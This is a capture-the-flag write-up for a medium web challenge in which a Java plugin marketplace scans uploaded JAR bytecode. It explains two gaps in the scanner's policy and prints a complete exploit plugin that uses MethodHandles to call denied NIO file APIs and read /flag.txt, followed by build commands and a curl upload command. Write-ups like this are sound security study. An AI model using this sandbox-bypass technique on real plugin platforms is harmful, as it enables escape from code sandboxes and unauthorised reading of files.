B2Bee
B2Bee
Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: class_literal_policy_bypass, method_handle_indirect_invocation, fixed_arity_method_handle
Summary
Task: A Java plugin marketplace scans uploaded JAR bytecode before sandboxed execution, while the goal is to read /flag.txt. Solution: unchecked class LDC constants and allowed MethodHandles dynamically invoke denied NIO file APIs.
B2Bee — avitoctf
Description
Крупнейший маркетплейс для пчёл открыл партнёрскую бету B2Bee. Продавцы загружают Java-плагины, рассчитывающие скидки и бонусы для корзины. Перед запуском каждый JAR статически проверяет ревью-пчела, а сам плагин исполняется в карантине. Обойдите проверку и получите
/flag.txt.
The application accepts third-party Java discount plugins. The objective is to pass its ASM-based static review, execute inside the quarantine, read the target file, and return its contents through the plugin result.
Analysis
Application interface
Same-origin application reconnaissance identified:
GET /examples/plugin-example.zip, containing example source andplugin-api-stubs.jar;GET /api/shop, providing the sample cart;POST /api/plugins/run, which uploads, scans, and executes a plugin.
The stubs show that a plugin implements ru.avitoctf.marketplugins.api.DiscountPlugin:
java read-only • copy allowedPluginResult apply(PluginContext context) throws Exception;
PluginResult is a record containing (int discountPercent, int bonusPoints, String message). The frontend places message verbatim in the result view, making it a direct output channel.
The execution endpoint expects these multipart fields:
plugin: the JAR file;entryClass: the binary class name;cartId: a predefined cart identifier, such asstarter.
Scanner coverage gap
PluginScanner uses ASM's tree API. It applies SandboxPolicy.checkOwner() to:
- every
MethodInsnNodeowner; - every
FieldInsnNodeowner; - the descriptors of
NEW,ANEWARRAY, andCHECKCASTTypeInsnNodes.
It also rejects invokedynamic, ConstantDynamic, Handle, and method-type Type values loaded by LDC. The important omission is in inspectConstant():
java read-only • copy allowedif (value instanceof Type type) { if (type.getSort() == Type.METHOD) { throw new SandboxException(...); } }
An ordinary class-valued LDC, such as Path.class, is therefore accepted without passing its owner through the policy.
The second flaw is the broad allowlist prefix java/lang. It unintentionally includes the complete java/lang/invoke package. Direct references whose instruction owner begins with java/nio/file are denied, but calls to MethodHandles, MethodType, and MethodHandle are permitted.
Together, these mistakes allow the plugin to:
- Load
Path.class,Paths.class, andFiles.classas unchecked ordinary class constants. - Build method signatures with permitted
MethodTypecalls. - Resolve denied NIO methods through a permitted
MethodHandles.Lookup. - Invoke the resulting handles through
MethodHandle.invokeWithArguments().
Bytecode-level constraints
The source imports NIO classes, but imports have no standalone runtime representation. What matters is how javac emits each use.
The compiled exploit has only these relevant properties:
- forbidden NIO classes occur as class-valued
LDCconstants; - method instruction owners are under
java/lang, chieflyjava/lang/invoke; - array allocations use allowed
java/lang/Class,java/lang/Object, andjava/lang/Stringowners; - the path returned by
Paths.getremains typed asObject, avoidingCHECKCAST java/nio/file/Path; - only the final result receives
CHECKCAST java/lang/String; - no
invokedynamic,Handle,ConstantDynamic, or method-type LDC is present.
Compiling with -XDstringConcat=inline also prevents accidental string-concatenation invokedynamic instructions.
Solution
Exploit plugin
The complete plugin source is:
java read-only • copy allowedpackage exploit; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import ru.avitoctf.marketplugins.api.DiscountPlugin; import ru.avitoctf.marketplugins.api.PluginContext; import ru.avitoctf.marketplugins.model.PluginResult; public final class FlagPlugin implements DiscountPlugin { @Override public PluginResult apply(PluginContext context) throws Exception { try { MethodHandles.Lookup lookup = MethodHandles.lookup(); MethodType pathsGetType = MethodType.methodType( Path.class, new Class<?>[]{String.class, String[].class} ); MethodHandle pathsGet = lookup .findStatic(Paths.class, "get", pathsGetType) .asFixedArity(); Object path = pathsGet.invokeWithArguments( new Object[]{"/flag.txt", new String[0]} ); MethodType readStringType = MethodType.methodType( String.class, new Class<?>[]{Path.class} ); MethodHandle readString = lookup.findStatic( Files.class, "readString", readStringType ); Object contents = readString.invokeWithArguments(new Object[]{path}); return new PluginResult(0, 0, (String) contents); } catch (Throwable failure) { return new PluginResult(0, 0, failure.toString()); } } }
Keeping the exception text in message provided useful runtime diagnostics while retaining scanner-safe bytecode.
Variable-arity failure and correction
The first uploaded JAR passed static review but failed during invocation with:
text read-only • copy allowedjava.lang.ClassCastException: Cannot cast [Ljava.lang.String; to java.lang.String
Paths.get(String, String...) is a Java varargs method. A handle returned for it is a variable-arity handle, so invokeWithArguments tried to apply its own argument adaptation to the supplied String[]. Calling .asFixedArity() on the resolved handle made the array an ordinary second argument and fixed the invocation. This correction still uses only the permitted java/lang/invoke/MethodHandle owner.
Build
From the task directory, compile against the downloaded API stubs and package only the exploit class:
bash read-only • copy allowedmkdir -p build/classes javac --release 21 -XDstringConcat=inline \ -cp plugin-example/plugin-api-stubs.jar \ -d build/classes FlagPlugin.java jar cf flag-plugin.jar -C build/classes .
javap -c -verbose build/classes/exploit/FlagPlugin.class can be used before upload to verify that forbidden NIO names appear only in class constants and that no forbidden dynamic instruction was emitted.
Trigger
Upload the JAR, explicitly select the implementation class, and use the predefined cart:
bash read-only • copy allowedcurl \ -F 'plugin=@flag-plugin.jar;type=application/java-archive' \ -F 'entryClass=exploit.FlagPlugin' \ -F 'cartId=starter' \ 'https://marketplugins-qulcg67k.avitoctf.ru/api/plugins/run'
The server accepted the JAR, executed it in quarantine, and returned a successful plugin-result response. Its result.message contained the requested file contents.